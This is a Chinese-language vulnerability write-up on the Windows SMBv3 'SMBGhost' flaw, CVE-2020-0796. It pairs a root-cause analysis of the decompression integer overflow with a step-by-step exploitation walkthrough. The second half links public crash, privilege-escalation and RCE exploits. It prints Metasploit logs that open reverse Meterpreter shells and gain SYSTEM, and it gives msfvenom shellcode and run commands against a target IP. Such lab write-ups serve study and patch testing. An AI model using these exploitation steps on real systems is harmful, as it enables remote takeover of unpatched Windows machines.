Windows SMB远程代码执行漏洞 CVE-2020-0796.md
14.07 KB / 2021-04-15 12:15:18
# Windows SMB远程代码执行漏洞 CVE-2020-0796
## 漏洞描述
2020年3月10日，微软在其官方SRC发布了CVE-2020-0796的安全公告（ADV200005，MicrosoftGuidance for Disabling SMBv3 Compression）,公告表示在Windows SMBv3版本的客户端和服务端存在远程代码执行漏洞。同时指出该漏洞存在于MicroSoft Server Message Block 3.1.1协议处理特定请求包的功能中，攻击者利用该漏洞可在目标SMB Server或者Client中执行任意代码
## 漏洞影响
> [!NOTE]
>
> SMB版本 v3.1.1
>
> Windows 10 Version 1903 for 32-bit Systems
> Windows 10 Version 1903 for x64-based Systems
> Windows 10 Version 1903 for ARM64-based Systems
> Windows Server, Version 1903 (Server Core installation)
> Windows 10 Version 1909 for 32-bit Systems
> Windows 10 Version 1909 for x64-based Systems
> Windows 10 Version 1909 for ARM64-based Systems
> Windows Server, Version 1909 (Server Core installation)
## 环境搭建
在[MSDN](https://msdn.itellyou.cn/)上下载对应的存在漏洞的系统版本
安装后执行命令 winver 查看系统版本，并查看是否含有 KB4551762补丁
## 漏洞复现
### 漏洞原理
CVE-2020-0796漏洞存在于受影响版本的Windows驱动srv2.sys中。Windows SMB v3.1.1 版本增加了对压缩数据的支持。图2所示为带压缩数据的SMB数据报文的构成。
```
ProtocolId：4字节，固定为0x424D53FC
OriginalComressedSegmentSize：4字节，原始的未压缩数据大小
CompressionAlgorithm：2字节，压缩算法
Flags：2字节，详见协议文档
Offset/Length：根据Flags的取值为Offset或者Length，Offset表示数据包中压缩数据相对于当前结构的偏移
```
srv2.sys中处理SMBv3压缩数据包的解压函数Srv2DecompressData未严格校验数据包中OriginalCompressedSegmentSize和Offset/Length字段的合法性。而这两个字段影响了Srv2DecompressData中内存分配函数SrvNetAllocateBuffer的参数。如图4所示的Srv2DecompressData函数反编译代码，SrvNetAllocateBuffer实际的参数为OriginalCompressedSegmentSize+Offset。这两个参数都直接来源于数据包中SMB Compression Transform Header中的字段，而函数并未判断这两个字段是否合法，就直接将其相加后作为内存分配的参数(unsigned int类型）。
这里，OriginalCompressedSegmentSize+Offset可能小于实际需要分配的内存大小，从而在后续调用解压函数SmbCompressionDecompress过程中存在越界读取或者写入的风险。
```
目前已公开的针对该漏洞的本地提权利用包含如下的主要过程：
（1）验证程序首先创建到SMS server的会话连接（记为session）。
（2）验证程序获取自身token数据结构中privilege成员在内核中的地址（记tokenAddr）。
（3）验证程序通过session发送畸形压缩数据（记为evilData）给SMB server触发漏洞。其中，evilData包含tokenAddr、权限数据、溢出占位数据。
（4） SMS server收到evilData后触发漏洞，并修改tokenAddr地址处的权限数据，从而提升验证程序的权限。
（5）验证程序获取权限后对winlogon进行控制，来创建system用户shell。
```
首先，看一下已公开利用的evilData数据包
```
数据包的内容很简单，其中几个关键字段数据如下：
OriginalSize ：0xffffffff
Offset：0x10
Real compressed data ：13字节的压缩数据，解压后应为1108字节’A’加8字节的token地址。
SMB3 raw data ：实际上是由2个8字节的0x1FF2FFFFBC（总长0x10)加上0x13字节的压缩数据组成
```
从上面的漏洞原理分析可知，漏洞成因是Srv2DecompressData函数对报文字段缺乏合法性判断造成内存分配不当。在该漏洞数据包中，OriginalSize 是一个畸形值。OriginalSize+ Offset = 0xffffffff + 0x10 = 0xf 是一个很小的值，其将会传递给SrvNetAllocateBuffer进行调用，下面具体分析内存分配情况。SrvNetAllocateBuffer的反编译代码
由于传给SrvNetAllocateBuffer的参数为0xf，根据SrvNetAllocateBuffer的处理流程可知，该请求内存将从SrvNetBufferLookasides表中分配。这里需要注意的是，变量SrvDisableNetBufferLookAsideList跟注册表项相关，系统默认状态下SrvDisableNetBufferLookAsideList为0。
SrvNetBufferLookasides表通过函数SrvNetCreateBuffer初始化，实际SrvNetCreateBuffer循环调用了SrvNetBufferLookasideAllocate分配内存，调用SrvNetBufferLookasideAllocate的参数分别为[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’]。在这里，内存分配参数为0xf，对应的lookaside表为0x1100大小的表项。
SrvNetBufferLookasideAllocate函数实际是调用SrvNetAllocateBufferFromPool来分配内存
在函数SrvNetAllocateBufferFromPool中，对于用户请求的内存分配大小，内部通过ExAllocatePoolWithTag函数分配的内存实际要大于请求值（多出部分用于存储部分内存相关数据结构）。以请求分配0x1100大小为例，经过一系列判断后，最后分配的内存大小allocate_size= 0x1100 + E8 + 2*(MmSizeOfMdl + 8)。
内存分配完毕之后，SrvNetAllocateBufferFromPool函数还对分配的内存进行了一系列初始化操作，最后返回了一个内存信息结构体指针作为函数的返回值。
这里需要注意如下的数据关系：SrvNetAllocateBufferFromPool函数返回值return_buffer指向一个内存数据结构，该内存数据结构起始地址同实际分配内存（函数ExAllocatePoolWithTag分配的内存）起始地址的的偏移为0x1150；return_buffer+0x18位置指向了实际分配内存起始地址偏移0x50位置处，而最终return_buffer会作为函数SrvNetAllocateBuffer的返回值
回到漏洞解压函数Srv2DecompressData，在进行内存分配之后，Srv2DecompressData调用函数SmbCompressionDecompress开始解压被压缩的数据
实际上，该函数调用了Windows库函数RtlDecompressBufferEx2来实现解压，根据RtlDecompressBufferEx2的函数原型来对应分析SmbCompressionDecompress函数的各个参数。
```
SmbCompressionDecompress(CompressAlgo，//压缩算法
Compressed_buf，//指向数据包中的压缩数据
Compressed_size，//数据包中压缩数据大小，计算得到
UnCompressedBuf,//解压后的数据存储地址，*(alloc_buffer+0x18)+0x10
UnCompressedSize,//压缩数据原始大小,源于数据包OriginalCompressedSegmentSize
FinalUnCompressedSize)//最终解压后数据大小
```
从反编译代码可以看出，函数SmbCompressionDecompress中保存解压后数据的地址为*(alloc_buffer+0x18)+0x10的位置，根据内存分配过程分析，alloc_buffer + 0x18指向了实际内存分配起始位置偏移0x50处，所以拷贝目的地址为实际内存分配起始地址偏移0x60位置处。
在解压过程中，压缩数据解压后将存储到这个地址指向的内存中。根据evilData数据的构造过程，解压后的数据为占坑数据和tokenAddr。拷贝到该处地址后，tokenAddr将覆盖原内存数据结构中alloc_buffer+0x18处的数据。也就是解压缩函数SmbCompressionDecompress返回后，alloc_buffer+0x18将指向验证程序的tokenAddr内核地址
继续看Srv2DecompressData的后续处理流程，解压成功后，函数判断offset的结果不为0。不为0则进行内存移动，内存拷贝的参数如下：
```
memmove(*(alloc_buffer+0x18)，SMB_payload，offset)
```
此时alloc_buffer+0x18已经指向验证程序的tokenAddr内核地址，而SMB_payload此时指向evilData中的权限数据，offset则为0x10。因此，这个内存移动完成后，权限数据将写入tokenAddr处。这意味着，SMS Server成功修改了验证程序的权限，从而实现了验证程序的提权！
还有一个细节需要注意，在解压时，Srv2DecompressData函数会判断实际的解压后数据大小FinalUnCompressedSize是否和数据包中原始数据大小OriginalCompressedSegmentSize一致
按理来说实际解压后的数据大小为0x1100，不等于数据包中的原始压缩数据大小0xffffffff，这里应该进入到后面内存释放的流程。然而，实际上在函数SmbCompressionDecompress中，调用RtlDecompressBufferEx2成功后会直接将OriginalCompressedSegmentSize赋值给FinalUnCompressedSize。这也是该漏洞关于任意地址写入成功的关键之一。
### CVE-2020-0796 目标探测(奇安信)
使用奇安信的漏洞扫描来探测
[奇安信 CVE-2020-0796 扫描下载](http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip)
### CVE-2020-0796 蓝屏EXP
[Github CVE-2020-0796 蓝屏EXP 下载](https://github.com/eerykitty/CVE-2020-0796-PoC)
运行脚本后目标成功蓝屏
### CVE-2020-0796 本地提权EXP
[Github CVE-2020-0796 本地提权EXP 下载](https://github.com/danigargu/CVE-2020-0796)
运行应用程序后弹出cmd窗口为 system权限
或者使用 MSF的内置EXP windows/local/cve_2020_0796_smbghost 来本地提权
```
msf6 exploit(multi/handler) > set lhost 192.168.142.19
lhost => 192.168.142.19
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.142.19:4444
[*] Sending stage (200262 bytes) to 192.168.142.61
[*] Meterpreter session 2 opened (192.168.142.19:4444 -> 192.168.142.61:51757) at 2020-11-08 15:28:20 +0800
meterpreter >
meterpreter > getuid
Server username: DESKTOP-RL1VAD8\wy
meterpreter > background
msf6 exploit(multi/handler) > search cve_2020
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/sap/cve_2020_6287_ws_add_user 2020-07-14 normal Yes SAP Unauthenticated WebService User Creation
1 exploit/linux/misc/cve_2020_13160_anydesk 2020-06-16 normal Yes AnyDesk GUI Format String Write
2 exploit/windows/local/cve_2020_0668_service_tracing 2020-02-11 excellent No Service Tracing Privilege Elevation Vulnerability
3 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move 2020-03-10 excellent Yes Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
4 exploit/windows/local/cve_2020_0796_smbghost 2020-03-13 good Yes SMBv3 Compression Buffer Overflow
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/local/cve_2020_0796_smbghost
msf6 exploit(multi/handler) > use 4
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2020_0796_smbghost) > show options
Module options (exploit/windows/local/cve_2020_0796_smbghost):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.142.19 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 10 v1903-1909 x64
msf6 exploit(windows/local/cve_2020_0796_smbghost) > set session 2
session => 2
msf6 exploit(windows/local/cve_2020_0796_smbghost) > check
[*] The target appears to be vulnerable.
msf6 exploit(windows/local/cve_2020_0796_smbghost) > exploit
[*] Started reverse TCP handler on 192.168.142.19:4444
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Launching notepad to host the exploit...
[+] Process 908 launched.
[*] Reflectively injecting the exploit DLL into 908...
[*] Injecting exploit into 908...
[*] Exploit injected. Injecting payload into 908...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200262 bytes) to 192.168.142.61
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```
### CVE-2020-0796 RCE EXP
[Github CVE-2020-0796 RCE EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)
msfvenom生成reversed shellcode
```
msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
```
将生成exp.py中的shellcode替换exploit.py中的shellcode
> [!NOTE]
>
> buf 要替换为 USER_PAYLOAD
使用 MSF
```
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 2333
lport => 2333
msf5 exploit(multi/handler) > set rhost 192.168.1.110
rhost => 192.168.1.110
msf5 exploit(multi/handler) > exploit
```
执行脚本即可
```
python3 exploit.py -ip 192.168.1.110
```
> [!NOTE]
>
> 注意有蓝屏概率
## 参考文章
[Windows SMB Ghost（CVE-2020-0796）漏洞分析](https://www.freebuf.com/vuls/233263.html)